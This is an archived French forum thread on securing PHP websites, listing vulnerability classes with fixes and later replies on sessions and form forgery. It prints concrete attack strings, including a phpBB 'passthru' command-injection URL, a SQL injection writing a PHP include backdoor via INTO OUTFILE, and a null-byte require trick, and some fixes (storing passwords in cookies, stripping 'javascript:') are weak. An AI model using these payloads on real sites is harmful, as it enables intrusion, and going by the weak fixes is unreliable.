Aller au contenu

[PHP] Comment sécuriser son site ?


The Lootrophile

Messages recommandés

D'après l'idée de k-o-x, J'initie ce thread sur le piratage et l'exploitation possible des failles de sécurité de vos sites en PHP, le but étant de rassembler la liste la plus exhaustive possible des problemes. A ceux qui lisent ce thread dans le but d'apprendre à savoir utiliser les failles de sécurité, passez votre chemin, vous ne trouverez ici aucune information pour vous. (Enfin, cherchez toujours ;-)

Je vous invite à ajouter des failles possibles en réponse à ce sujet, j'éditerais le mien, vous pouvez également poser vos questions relatives ici.

Tout d'abord, quelques explications basiques sur l'exploitation possible de vos scripts, avant de passer au cas par cas :

1. Attention au variables

2. Défauts de la redirection

3. Faille Include()

4. Failles XSS

5. Failles Cookies

6. Faille Urlencode()

7. Faille Require()

8. Configuration de PHP

1. Variables a l'air, gaffe aux courrants d'air. Par The Lootrophile

Un script est potentiellement exploitable quand un visiteur lambda peut agir librement sur vos variables, soit quand elles passent par une URL, comme suit : http://www.site.com/admin?loggin=1.

Pourquoi ? Même si cela puisse semble évident à la pluspart des codeurs, cette faille de sécurité se retrouve parfois sur le net, voir (et là c'est plus grave) dans des scripts installables sur vos sites, il faut donc veiller à ce qu'aucune variable sensible ou contrôlant l'acces à une page protégée ne se trouve dans vos URLs.

Comment y remedier ? L'utilisation des sessions ou des cookies est fortement recommandée dans ce cas : Elle vous évitera d'avoir à trainer une variable "sensible" dans vos URLs, et vos connexions à vos pages protégées se feront de façon transparente, une petite recherche sur google vous expliquera la procédure.

2. La redirection ? Pas une solution. Par The Lootrophile

Lorsque vous mettez à la disposition de vos membres un acces privé, ces derniers doivent ce logger, une personne mal intentionnée peut tout de même accéder à vos espaces protégés si la seule protection est la redirection automatique, quels genre de codes sont infectés ?

If ($password != "Pouletgrille")  { print'<meta http-equiv="refresh" content="1; URL=?page=connexion">'; }

Pourquoi ? Que va il se passer quand le "piratin" va rentrer un mauvais mot de passe ? Il va arriver sur votre page non protégée, et va être aussitôt redirigé vers une page d'erreur, et c'est là l'erreur : Le visiteur pourra toujours bloquer son navigateur, ou enregistrer votre page, et il vera l'intégralité de votre page "protégée", et pourra y accomplir ses méfaits.

Comment y remédier ? C'est simple, il faut de toute façon que le contenu de votre espace protégé n'apparaisse jamais sur la page de vos visiteurs, même pas une micro-seconde, le moyen le plus simple de réparer c problème est d'agir comme suit :

If ($password != "Pouletgrille")  { Print'Insérez ici le contenu de votre section admin'; } else { print'Erreur de connexion !'; }

3. La célèbre faille Include() Par The Lootrophile

Célèbre car très utilisée, la faille include permet au "pirate" de prendre le contrôle entier de votre site : Ajouter, supprimer ou modifié des fichiers, en voir le contenu (password, attention), ou même pire, stocker des programmes malveillants sur votre espace web, si votre code se présente dans cette configuration, inquiétez vous :

<? include("$page") ?>

Pourqoi ? De cette façon, vous intégrez une page à une autre page, par exemple, via ce lien : http://www.votresite.com/index.php?page=accueil.php. Cette méthode remplit son rôle, vous avez bien le fichier demandé sur votre page, et les moutons sont bien gardés. Eh bien non ! Les moutons ne sont pas bien gardés, regardez, il y en a déjà un KO, et les autres vont bientôt se faire attaquer, comment ? Le pirate peut egalement intégrer ses pages malveillantes (comme cela : http://www.votresite.com/?page=http://www.....com/script.php, PS pour les "pirates", cette méthode ne marche pas, n'essayez même pas. ;-), et comme le PHP est un langage merveilleux, il pourra TOUT faire.

Comment y remédier ? C'est très simple, et pas très contraignant :

$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("includes/$page.php")) die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire.");

Si c'est du chinois pour vous, soyez assuré que cette méthode remplira son rôle, quelques explications : Ce mini code inclu votre page en enleveant les caractères spéciaux, les "/" par exemple, et affiche un message d'erreur si votre include échoue, pourquoi est-ce efficace ? Car le piratin a obligatoirement besoin d'utiliser "/" pour taper "http://", il ne pourra donc intégrer son script, et se véra renvoyé un message d'erreur, de plus, le script oblige l'extention .php pour vos scripts, hors, rien n'est possible avec un fichier .php (enfin, pas grand chose, l'exploitation d'une faille XSS tout au plus, je developperais en dessous.)

4. La faille XSS ? Ca me donne de l'herpes ! Par The Lootrophile

Si vous proposez à vos visiteurs un livre d'or, un forum (Premieres versions de phpBB, warning.) ou un espace où ils peuvent afficher des messages librement sur votre site, cet espace est potentiellement dangereux. Si en entrant ce code dans l'espace où les visiteurs peuvent poster un message, un pop-up s'ouvre, inquietez vous :

 Salut ! <script>window.open("http://www.monsite.com/);</script>

Pourquoi ? Vous etes victimes d'une faille XSS, mais qu'est-ce donc que cette bestiole là ? C'est l'exploitation d'un bug de sécurité permettant à vos visiteurs d'executer des scripts javascript, par exemple, que peut on faire avec ça ? Voler le contenu de vos cookies de connexion (yabon, on va pouvoir se connecter à votre forum sous votre compte, ou a votre site dans la partie administration), ouvrir de la publicité librement sur votre site, rediriger le visiteur par des pages infectées par des virus, que de bonnes choses pleines de fer et de calcium.

Comment y remédier ? Il y a un grand nombre de solutions pour pallier à ce problème : Definir votre texte comme étant une HTML, ou empecher l'emplois de "javascript" (ainsi, aucun script javascript ne pourra etre executé), comme suit : $message=str_replace("java script:","",$message)

5. La faille cookies ? Que nenni ! Par The Lootrophile

Une faille cookies permet, dans une configuration bien spéciale, d'utiliser un cookie de connexion pour le transformer en celui de quelqu'un d'autre.

Pourquoi ? Si à la connexion à la section membre, l'individu se logue avec ses identifiants, reçois donc son petit cookie (et ne le reçois que si il a rentré des identifiants correct) et voit donc son nom d'utilisateur dans son cookie, et seulement son nom d'utilisateur apparaitre, le script remplit son rôle, vos pages vérifie que le cookie existe, et utilise son nom d'utilisateur pour ses droits d'acces, mais il y a un probleme : L'utilisateur, mal intentionné peut tout de même déjouer votre sécurité, certes, il a bien utilisé des identifiants, il a donc reçu un cookie automatiquement généré, et tout ça, mais une fois qu'il a le cookie ? Il change son nom, et hop hop hop, ni une ni deux, il se retrouve avec votre nom d'utilisateur, et peut faire ce qu'il lui plait.

Comment pallier à ce probleme ? En stockant le nom d'utilisateur et le mot de passe dans les cookies, ainsi, même si la personne change le nom d'utilisateur, le mot de passe ne conviendra toujours pas.

6. La faille urldecode() dans les requetes SQL, par Savory

Utilisé contre phpmyadmin et phpbb actuellement.

Par exemple pour reprendre le code de viewtopic de phpbb :

$highlight_match = $highlight = ''; 
if (isset($HTTP_GET_VARS['highlight'])) 
{ 
  // Split words and phrases 
  $words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight'])))); 

  for($i = 0; $i < sizeof($words); $i++) 
  { 

si on url encode ' en %27 pui reurlencoder en %2527 on peut injecter un ' au nez de la requete :) et donc injecter du code php.

Par exemple pour reprendre celui de santy [...]highlight=%2527.passthru($rush).%2527&rush=id

Par exemple

7. La faille require() par Savory

au meme titre que l'include cité precedemant sauf qu'elle est sensible au byte null genre %00

Si par exemple on a require("/home/web/lib/".$truc.".php");

on peut poisonner truc via cookie/post/get et lui append %00 a la fin pour enlever le ".php" c'est pour cela qu'il est absolument preconisé d'utiliser require_once et des variables statiques.

Apres cela reste la sql injection qui peut mener jusqu'a une intrusion de l'os :

L'exemple parlera de lui meme

1' OR 1=1 INTO OUTFILE "/var/www/htdocs/site/kikoo.php" FIELDS TERMINATED BY '<?include($p);exit;?>'/*

on pourra remplacer les ' par des " et urlencoder <?include($p);exit;?> 
en %3C%3Finclude%28%24p%29%3Bexit%3B%3F%3E 

et hop on se fabrique une include a condition de connaitre le path relatif du wwwroot pouvant etre reperé en faisant bugger la page.

J'ai encore oublier plein de types de failles web mais quand on est developpeur php au bout de quelques temps on commence a les discerner :chinois:

8. Sinon passons à la configuration de apache et mod_php :) par Savory

( Attention ces cas etaient valables avant car maintenant le safe mode est facilement cassable )

Premiere chose compiler le LAMP avec le mod ssp de gcc ( un 0days apache/my/php/... est vite arrivé )

Ensuite le chrooter

Installer php et mettre un symlink pour le sock mysql dans la base de son chroot.

Pour mod_php creer un dossier bin dans la base du chroot apache et installer les binaires dont il aura besoin, ensuite activer le safe_mode le safe_mode_gid et mettre les register_global à off.

On lui specifie par le param execdir pour l'utilisation de system()/passthru/exec etc ( ou safe_mode_exec_dir je sais plus de tete :) ) le path absolu du dossier /bin (tenez compte du chroot).

Ensuite ne pas oublier de rendre inactif les url open en mettant allow_urlopen a false.

Voila sans pour autant rentrer dans les details (tout est sur google) vous aurez un httpd a peu pres secure :)

Pour finir, n'oubliez pas que les failles de sécurité ne sont pas obligatoirement de votre faute, elles peuvent se trouver dans les scripts pré-créés que vous installez, et elles sont d'autant plus dangereuses qu'un pirate peut connaitre le code source exact de ces scripts, vérifiez donc tout ce qui entre dans votre FTP. ;-)

Lien vers le commentaire
Partager sur d’autres sites

La faille urldecode() dans les requetes SQL

Utilisé contre phpmyadmin et phpbb actuellement.

Par exemple pour reprendre le code de viewtopic de phpbb :

$highlight_match = $highlight = ''; 
if (isset($HTTP_GET_VARS['highlight'])) 
{ 
  // Split words and phrases 
  $words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight'])))); 

  for($i = 0; $i < sizeof($words); $i++) 
  { 

si on url encode ' en %27 pui reurlencoder en %2527 on peut injecter un ' au nez de la requete :) et donc injecter du code php.

Par exemple pour reprendre celui de santy [...]highlight=%2527.passthru($rush).%2527&rush=id

Par exemple

La faille require() au meme titre que l'include cité precedemant sauf qu'elle est sensible au byte null genre %00

Si par exemple on a require("/home/web/lib/".$truc.".php");

on peut poisonner truc via cookie/post/get et lui append %00 a la fin pour enlever le ".php" c'est pour cela qu'il est absolument preconisé d'utiliser require_once et des variables statiques.

Apres cela reste la sql injection qui peut mener jusqu'a une intrusion de l'os :

L'exemple parlera de lui meme

1' OR 1=1 INTO OUTFILE "/var/www/htdocs/site/kikoo.php" FIELDS TERMINATED BY '<?include($p);exit;?>'/*

on pourra remplacer les ' par des " et urlencoder <?include($p);exit;?> 
en %3C%3Finclude%28%24p%29%3Bexit%3B%3F%3E 

et hop on se fabrique une include a condition de connaitre le path relatif du wwwroot pouvant etre reperé en faisant bugger la page.

J'ai encore oublier plein de types de failles web mais quand on est developpeur php au bout de quelques temps on commence a les discerner :chinois:

Sinon passons à la configuration de apache et mod_php :)

( Attention ces cas etaient valables avant car maintenant le safe mode est facilement cassable )

Premiere chose compiler le LAMP avec le mod ssp de gcc ( un 0days apache/my/php/... est vite arrivé )

Ensuite le chrooter

Installer php et mettre un symlink pour le sock mysql dans la base de son chroot.

Pour mod_php creer un dossier bin dans la base du chroot apache et installer les binaires dont il aura besoin, ensuite activer le safe_mode le safe_mode_gid et mettre les register_global à off.

On lui specifie par le param execdir pour l'utilisation de system()/passthru/exec etc ( ou safe_mode_exec_dir je sais plus de tete :) ) le path absolu du dossier /bin (tenez compte du chroot).

Ensuite ne pas oublier de rendre inactif les url open en mettant allow_urlopen a false.

Voila sans pour autant rentrer dans les details (tout est sur google) vous aurez un httpd a peu pres secure :)

Lien vers le commentaire
Partager sur d’autres sites

Bonjour à tous !

Je suis nouveau :-D Je viens de trouver ce topic par Google (notre meilleur ami à tous ^^), je cherchais comment pirater un site (mais nan j'plaisante)

Bref, je m'incruste pour signaler quelques trucs... :-D

3.  La célèbre faille Include() Par The Lootrophile

(...)

Comment y remédier ? C'est très simple, et pas très contraignant :

$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("includes/$page.php")) die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire.");

C'est très lourd d'utiliser une expression régulière "juste" pour ça... Le mieux est encore de mettre les fichiers dans un tableau, et vérifier leurs existences... C'est peut-être un peu plus long à faire, mais c'est toujours mieux : http://www.dotkom-team.com/voir-article-647.html

Ou alors utiliser avantageusement la fonction basename() et is_file() :)

4. La faille XSS ? Ca me donne de l'herpes ! Par The Lootrophile

(...)

Comment y remédier ? Il y a un grand nombre de solutions pour pallier à ce problème : Definir votre texte comme étant une HTML, ou empecher l'emplois de "javascript" (ainsi, aucun script javascript ne pourra etre executé), comme suit : $message=str_replace("javascript:","",$message)

:incline:

Les fonctions htmlentities(), htmlspecialchars() sont justement faites pour :)

$message = htmlspecialchars($message); // À condition, bien sûr, d'avoir défini un charset dans l'en-tête de la page, sinon il faudra utiliser htmlentities() (mais mieux vaut définir un charset, histoire d'être également aux normes du W3C

Voilà pour le moment. C'est juste ce qui m'a frappé en premier lieu.

Bonne fin de journée, et bonne année :)

Lien vers le commentaire
Partager sur d’autres sites

Y a t-il une solution pour eviter qu'une connection par session ne reste en cache?

Exemple pour un site multi utilisateurs sur un meme poste. Lorsque l'on ferme la session, rien n'empeche une reconnection par un retour a la page precedente, ou bien d'aller chercher dans l'historique

J'ai bien essayé toutes les balises d'entete pragma no-cache etc, mais aucun effet, de meme que les variables de destruction de session.

Donc, actuellement j'utilise un autre mode de connection:

Fichiers importants dans repertoire protegé .htacess.

Variables stockees dans base mysql:

var nom, crypté md5

var password, crypté md5

var niveau (droit d'acces aux pages donné par l'admin, de 1 à 3)

var aléatoire, creee lors de la connection, basée sur a:m:j:h:m:s de la connection, et nombre aléatoire généré par random() etc.... Cette variable est stockée dans la base.

Donc, sur chaque page, verification des 4 variables, et si l'une n'est pas correcte, le navigateur se ferme.

A la connection, 3 essais, puis fermeture du navigateur.

A la deconnection de l'utilisateur, la variable aleatoire est recalculée et stockée, et donc il n'est plus possible de revenir.

Quelqu'un voit-il une faille là dedans ???

PS: non, je suis pas parano :cartonrouge:

Lien vers le commentaire
Partager sur d’autres sites

Donc, sur chaque page, verification des 4 variables, et si l'une n'est pas correcte, le navigateur se ferme.

A la connection, 3 essais, puis fermeture du navigateur.

A la deconnection de l'utilisateur, la variable aleatoire est recalculée et stockée, et donc il n'est plus possible de revenir.

C'est un peu comme la partie sur la redirection, il est impossible d'être sur que le navigateur du visiteur sera fermé, certains navigateurs demandent même à leur utilisateur si ils veulent réellement fermer le browser, donc cette partie n'est pas réellement une solution viable, pour le reste, mis à part une paranoïa aigue, je ne vois pas de probleme :iloveyou:

Lien vers le commentaire
Partager sur d’autres sites

C'est vrai, mais c'est juste un coté "visuel", et ne joue pas sur la sécurité.

Script de verif des essais:

if($_REQUEST['nombre_essai']>=3){header("Location:close.html");}

Page close.html:

<html>
  <head><title>close</title>
<script language="JavaScript">function (close){window.close();}</script>
</head>
<body onLoad="close()"></body>
</html>

Bon, c'est basique, mais ça marche.

Lien vers le commentaire
Partager sur d’autres sites

  • 2 mois après...

Salut tout l'monde, je m'interrogeais sur la sécurité lors de la transmission des variables $_POST, qui sont dit-on plus sûres que les $_GET.

Lorsqu'on se trouve sur un formulaire, si en affichant le code source de la page on récupère la page cible du formulaire ( <form action="page.php"> ), ainsi que le nom des input ( <input .... name="nom" /> ), et qu'on les remet dans un formulaire de notre création, en assignant nous-même les valeurs qu'on veut aux input ( ex : <input ... name="nom" value="Ma valeur !" /> ).

Lors de l'envoi du formulaire, si la page cible de celui-ci ( en l'occurence page.php ) ne vérifie pas d'où vient le visiteur, elle n'y verra que du feu !

J'aimerais donc savoir ce que vous conseillez pour empêcher ce genre de manipulation frauduleuse, et quelles méthodes vous auriez utiliser pour indiquer la provonance des infos.

Lien vers le commentaire
Partager sur d’autres sites

Salut M3rCo.

J'ai réjouté ton message à la suite de ce topic qui est très complet. Tu y trouveras peut être ta réponse. Dans le cas contraire, on pourra te donner des réponses ici et centraliser les réponses. (En plus ça fait un up pour ce topic bien sympa).

J'ai pas vu The Lootrophile depuis longtemps. J'espère qu'on le reverra un jour, c'est quelqu'un de très compétant et je préfèrerais que ce soit lui qui mette à jour son topic, je ne suis pas sûr de faire aussi bien.

J'en ai profité pour le mettre dans les meilleurs liens de la section. J'aurais du le faire depuis longtemps, mais je l'avais oublié :ouioui: . Comme d'habitude, pour en discuter, rendez vous au bar.

Lien vers le commentaire
Partager sur d’autres sites

Lors de l'envoi du formulaire, si la page cible de celui-ci ( en l'occurence page.php ) ne vérifie pas d'où vient le visiteur, elle n'y verra que du feu !

Pour vérifier cela, il faut utiliser la variable $_SERVER["HTTP_REFERER"]

MAIS ATTENTION ! cette variable est mise à jour par le navigateur et elle n'est pas forcement correcte. Par exemple, certains proxy web la bloque volontairement. (pour un surf plus "annonyme")

Bref, ce n'est pas une valeur sûr... Il n'y a donc aucun moyen de contrer cela... (a ma connaissance en tous les cas)

Lien vers le commentaire
Partager sur d’autres sites

Oui mais il ne faut pas se baser là dessus. Tout ce que tu dois faire, c'est vérifier que les champs des formulaires soient correctement remplis avec la fonction isset() par exemple. Et tu n'utilies que ceux qui sont renseignés... Exemple du formulaire :

<form action="page.php" method="post">
<div><input name="pseudo" type="text" />
<input name="password" type="password" />
<input name="submit" type="submit" /></div>
</form>

Donc la méthode d'envoi est POST, et les champs sont pseudo, password et submit. Tu vérifies donc leurs existances :

<?php
if (isset($_POST['pseudo'], $_POST['password'], $_POST['submit']))
{
// Traitement des valeurs
}
else
{
// Le formulaire n'a pas été rempli, retour à la page du formulaire
header('Location: formulaire.html');
exit;
}
?>

À partir de là, tu t'en fous un peu si le formulaire a été modifié, vu que tu ne filtres que ce dont tu as besoin... Tu vois ce que je veux dire ? Dans tous les cas, il est toujours possible de falsifier un formulaire, donc mieux vaut ne pas se prendre la tête à essayer de vérifier si le formulaire envoyé est celui que NOUS on a fait; ce qui compte, c'est surtout récupérer les bons champs, vérifier leurs exste/ances (je sais plus comment on l'écrit :S), et ne laisser passer que ce dont tu as besoin...

Lien vers le commentaire
Partager sur d’autres sites

dans un bouquin php il combinait le traitement et le formulaire dans un seul fichier php, avec vérification de validation du bouton submit de la mm page qui permet de controler la provenance...

mais je sais pas si c'est suffisant. pas le temps maintenant mais je peux vous passer son code plus tard ...

Lien vers le commentaire
Partager sur d’autres sites

  • 3 semaines après...
  • 2 semaines après...

" dans un bouquin php il combinait le traitement et le formulaire dans un seul fichier php, avec vérification de validation du bouton submit de la mm page qui permet de controler la provenance...

mais je sais pas si c'est suffisant. pas le temps maintenant mais je peux vous passer son code plus tard ... "

Cette solution est plutot faite (je pense) pour s'affranchir des variables de sessions.

Je m'explique, si tu diriges ton formulaire v ers une page de traitement, il te faudra stocker les champs dans des variables de session. Ensuite, si tu pourras rediriger vers le formulaire en cas d'erreur et pré-remplir les champs correctement entrés avec les sessions créés.

Alors que si tu fais tout sur la même page (formulaire + traitement), plus besoin de sessions puisque les variables sont toujours présentes.

Maintenant niveau sécurité, je sais pas trop ce que ça vaut, moi j'ai l'habitude de faire ça en trois pages (formulaire + traitement + remerciements)

Lien vers le commentaire
Partager sur d’autres sites

Archivé

Ce sujet est désormais archivé et ne peut plus recevoir de nouvelles réponses.

×
×
  • Créer...